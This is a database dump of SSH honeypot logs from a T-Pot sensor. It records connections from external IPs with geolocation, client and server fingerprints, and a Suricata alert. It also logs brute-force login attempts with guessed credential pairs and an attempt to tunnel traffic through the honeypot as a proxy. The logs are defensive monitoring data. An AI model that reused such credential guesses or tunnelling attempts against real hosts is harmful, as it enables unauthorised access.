".........[.Gq....&.a.E...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	\N	\N
31252	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:43:25.062892+03	2021-09-20 14:45:04.247173+03	{"_id": "kgYEA3wBvYTbRNuEmkJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.60.208.43:34630 (192.168.176.2:22) [session: 2a408d80a551]", "session": "2a408d80a551", "@version": "1", "protocol": "ssh", "src_port": 34630, "dest_port": 22, "timestamp": "2021-09-20T11:43:25.062892Z", "@timestamp": "2021-09-20T11:43:25.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31246	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:26.276862+03	2021-09-20 14:45:04.239172+03	{"_id": "pAYEA3wBvYTbRNuEoELf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 19683, "timestamp": "2021-09-20T11:43:26.276862", "@timestamp": "2021-09-20T11:43:26.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31247	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.476685+03	2021-09-20 14:45:04.241142+03	{"_id": "vQYEA3wBvYTbRNuEvUJ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "3238ff6461d8", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:43:34.476685Z", "@timestamp": "2021-09-20T11:43:34.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31248	5.188.62.253	109.199.241.180	Suricata	2021-09-20 14:43:34.533895+03	2021-09-20 14:45:04.242173+03	{"_id": "wAYEA3wBvYTbRNuEv0Ix", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:43:34.415890+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1262}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.253", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 777517726587026, "payload": "AAADjAoUclE3QsmbIYKCqdj9ERT91AAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADFb8Osc9aOMoXX", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35060, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:43:34.533895Z", "@timestamp": "2021-09-20T11:43:34.533Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\n.rQ7B..!.............curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............o..s..2.."}}	1	\N	\N	alert	\N	\N
31249	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:34.47759+03	2021-09-20 14:45:04.243171+03	{"_id": "wwYEA3wBvYTbRNuEwEIk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35060, "timestamp": "2021-09-20T11:43:34.477590", "@timestamp": "2021-09-20T11:43:34.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31250	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:43:34.782082+03	2021-09-20 14:45:04.245175+03	{"_id": "xgYEA3wBvYTbRNuEwUJh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "dest_ip": "ya.ru", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ya.ru:80 from 0.0.0.0:0", "session": "3238ff6461d8", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:43:34.782082Z", "@timestamp": "2021-09-20T11:43:34.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
31251	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:43:24.557498+03	2021-09-20 14:45:04.246141+03	{"_id": "iAYEA3wBvYTbRNuEmUIO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35578, "timestamp": "2021-09-20T11:43:24.557498", "@timestamp": "2021-09-20T11:43:24.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31254	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:43:25.407604+03	2021-09-20 14:45:04.249172+03	{"_id": "lQYEA3wBvYTbRNuEmkJK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [valentina/valentina] failed", "session": "2a408d80a551", "@version": "1", "password": "valentina", "username": "valentina", "timestamp": "2021-09-20T11:43:25.407604Z", "@timestamp": "2021-09-20T11:43:25.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31255	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:43:25.115402+03	2021-09-20 14:45:04.251172+03	{"_id": "lgYEA3wBvYTbRNuEnEIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 1208732442505647, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34630, "dest_port": 22, "timestamp": "2021-09-20T11:43:25.115402Z", "@timestamp": "2021-09-20T11:43:25.115Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31256	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:43:26.459727+03	2021-09-20 14:45:04.25217+03	{"_id": "nwYEA3wBvYTbRNuEnkIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "2a408d80a551", "@version": "1", "duration": 1.3943486213684082, "timestamp": "2021-09-20T11:43:26.459727Z", "@timestamp": "2021-09-20T11:43:26.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31257	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:43:43.614594+03	2021-09-20 14:45:04.253173+03	{"_id": "1gYEA3wBvYTbRNuE4EKj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:56804 (192.168.176.2:22) [session: 0d9a9080bc93]", "session": "0d9a9080bc93", "@version": "1", "protocol": "ssh", "src_port": 56804, "dest_port": 22, "timestamp": "2021-09-20T11:43:43.614594Z", "@timestamp": "2021-09-20T11:43:43.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31258	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:43:43.908562+03	2021-09-20 14:45:04.254173+03	{"_id": "1wYEA3wBvYTbRNuE4kJd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1678745747274717, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56804, "dest_port": 22, "timestamp": "2021-09-20T11:43:43.908562Z", "@timestamp": "2021-09-20T11:43:43.908Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31259	107.173.209.238	109.199.241.180	Fatt	2021-09-20 14:43:44.107159+03	2021-09-20 14:45:04.256172+03	{"_id": "2gYEA3wBvYTbRNuE40JR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56804, "dest_port": 22, "timestamp": "2021-09-20T11:43:44.107159", "@timestamp": "2021-09-20T11:43:44.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31260	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:43:44.107792+03	2021-09-20 14:45:04.257173+03	{"_id": "3AYEA3wBvYTbRNuE5EKM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0d9a9080bc93", "@version": "1", "timestamp": "2021-09-20T11:43:44.107792Z", "@timestamp": "2021-09-20T11:43:44.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31261	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:43:45.217075+03	2021-09-20 14:45:04.258142+03	{"_id": "3QYEA3wBvYTbRNuE6EJ1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [lac/lac] failed", "session": "0d9a9080bc93", "@version": "1", "password": "lac", "username": "lac", "timestamp": "2021-09-20T11:43:45.217075Z", "@timestamp": "2021-09-20T11:43:45.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
